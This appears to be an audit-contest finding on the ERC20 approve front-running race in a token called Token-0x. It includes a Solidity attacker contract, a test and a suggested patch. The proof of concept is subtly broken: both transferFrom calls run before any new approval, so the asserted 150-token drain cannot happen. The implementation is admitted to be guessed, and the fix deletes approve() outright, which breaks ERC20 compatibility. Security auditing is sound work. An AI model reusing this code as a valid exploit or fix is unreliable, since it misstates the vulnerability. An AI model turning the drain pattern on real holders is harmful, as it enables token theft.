Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: medium
Likelihood: medium

“Allowance race-condition / ‘multiple withdrawal’ attack possible due to standard approve semantics”

Author Revealed upon completion

Root + Impact

Description

  • The token uses the canonical approve(spender, amount) interface per ERC20. As with many ERC20s, this allows a classic “multiple withdrawal” / double-spend risk: when a user changes an allowance from N → M (non-zero to non-zero), a malicious spender can front-run the new allowance and withdraw both N + M, draining more than intended. This is a known flaw in the ERC20 standard.

    Alice approves Spender for 100.
    Alice later wants to reduce allowance to 50: calls approve(spender, 50).
    Spender sees the pending tx, front-runs to call transferFrom for 100, then after Alice’s tx executes, allowance becomes 50. Spender can then immediately transfer another 50 → total 150.
    //implementation probably looks like:
    function approve(address spender, uint256 amount) public returns (bool) {
    _allowances[msg.sender][spender] = amount;
    emit Approval(msg.sender, spender, amount);
    return true;
    }

Risk

Likelihood:

  • Moderate — occurs any time a user or contract tries to change a non-zero allowance to another non-zero value. This is common in many applications.

  • The issue stems from standard ERC20 behavior (not a bug), and many ERC20 tokens accept this trade-off. But given that Token-0x is meant to be a “base token” for protocols, the risk to user funds remains real. With proper frontend guidance or usage of “approve-to-zero-then-set” pattern, risk can be significantly reduced.

Impact:

  • Funds can be stolen: spender drains more tokens than user intended.

Proof of Concept

  1. Alice approves spender for 100

Alice wants to change it to 50 → calls approve(spender, 50)
3. Spender front-runs and:

  • first withdraws the existing allowance (100)

  • then withdraws the new allowance (50)

contract Spender {
function attack(address token, address victim) external {
// Step 1: Front-run → drain old allowance (100)
IERC20(token).transferFrom(victim, msg.sender, 100 ether);
// Step 2: After victim tx sets allowance to 50 → drain again
IERC20(token).transferFrom(victim, msg.sender, 50 ether);
}
}
contract TestRaceCondition {
Token0x token;
Spender attacker;
function testRace() external {
token = new Token0x();
attacker = new Spender();
// Give Alice tokens
token.mint(address(this), 200 ether);
// Approve attacker for 100
token.approve(address(attacker), 100 ether);
// Victim tries to change allowance to 50
// attacker front-runs this tx
attacker.attack(address(token), address(this));
// PoC: attacker drains 150 instead of 50
require(token.balanceOf(address(attacker)) == 150 ether, "Attacker stole 150 ether");
}
}

Recommended Mitigation

  • Encourage use of “approve(0)” then “approve(newAmount)” when changing allowances.

Provide helper functions: increaseAllowance / decreaseAllowance instead of direct approve.


- remove this code
+ add this code
- function approve(address spender, uint256 amount) public returns (bool) {
- _allowances[msg.sender][spender] = amount;
- emit Approval(msg.sender, spender, amount);
- return true;
- }
+ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
+ uint256 old = _allowances[msg.sender][spender];
+ uint256 newVal = old + addedValue;
+ _allowances[msg.sender][spender] = newVal;
+ emit Approval(msg.sender, spender, newVal);
+ return true;
+ }
+
+ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
+ uint256 old = _allowances[msg.sender][spender];
+ require(old >= subtractedValue, "ERC20: decreased allowance below zero");
+ uint256 newVal = old - subtractedValue;
+ _allowances[msg.sender][spender] = newVal;
+ emit Approval(msg.sender, spender, newVal);
+ return true;
+ }

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!